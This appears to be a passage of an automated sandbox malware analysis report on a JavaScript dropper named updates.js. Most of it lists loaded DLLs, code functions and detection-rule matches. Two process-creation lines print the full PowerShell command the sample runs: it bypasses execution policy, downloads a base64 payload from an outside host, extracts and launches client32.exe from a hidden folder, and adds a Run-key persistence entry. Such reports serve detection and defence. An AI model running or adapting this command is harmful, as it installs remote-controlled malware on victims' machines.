Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11168345	7_2_11168345
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_111265B0	7_2_111265B0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11070430	7_2_11070430
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11080740	7_2_11080740
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1100892B	7_2_1100892B
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1101CF30	7_2_1101CF30

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\GRDCWLLI20\HTCTL32.DLL 3C072532BF7674D0C5154D4D22A9D9C0173530C0D00F69911CDBC2552175D899
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICHEK.DLL 956B9FA960F913CCE3137089C601F3C64CC24C54614B02BBA62ABB9610A985DD

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: String function: 11161299 appears 74 times
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: String function: 11027F40 appears 91 times
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: String function: 11164ED0 appears 38 times
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: String function: 110B7EF0 appears 39 times
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: String function: 11147060 appears 1043 times
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: String function: 1105E820 appears 518 times
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: String function: 1105E950 appears 48 times
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: String function: 111744C6 appears 40 times
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: String function: 11147AD0 appears 42 times
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: String function: 11081E70 appears 81 times
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: String function: 1109DCE0 appears 32 times
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: String function: 11029A70 appears 1714 times
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: String function: 1116FED0 appears 69 times

Source: updates.js

Initial sample: Strings found which are bigger than 50

Source: updates.js, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: wscript.exe PID: 7336, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7424, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.rans.troj.expl.evad.winJS@8/28@3/3

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_1105A760 GetLastError,FormatMessageA,LocalFree,

3_2_1105A760

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1109D860 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	3_2_1109D860
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1109D8F0 AdjustTokenPrivileges,FindCloseChangeNotification,	3_2_1109D8F0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1109D860 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	7_2_1109D860
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1109D8F0 AdjustTokenPrivileges,CloseHandle,	7_2_1109D8F0

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_11116880 CoInitialize,CoCreateInstance,LoadLibraryA,GetProcAddress,SHGetSettings,FreeLibrary,CoUninitialize,

3_2_11116880

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_11089430 FindResourceA,LoadResource,LockResource,

3_2_11089430

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 7_2_11128B10 GetMessageA,Sleep,OpenSCManagerA,DispatchMessageA,OpenServiceA,CloseServiceHandle,StartServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,GetLastError,

7_2_11128B10

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\GRDCWLLI20

Jump to behavior

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7432:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_olj24nsh.di3.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe "C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe "C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe "C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe "C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: sspicli.dll	Jump to behavior
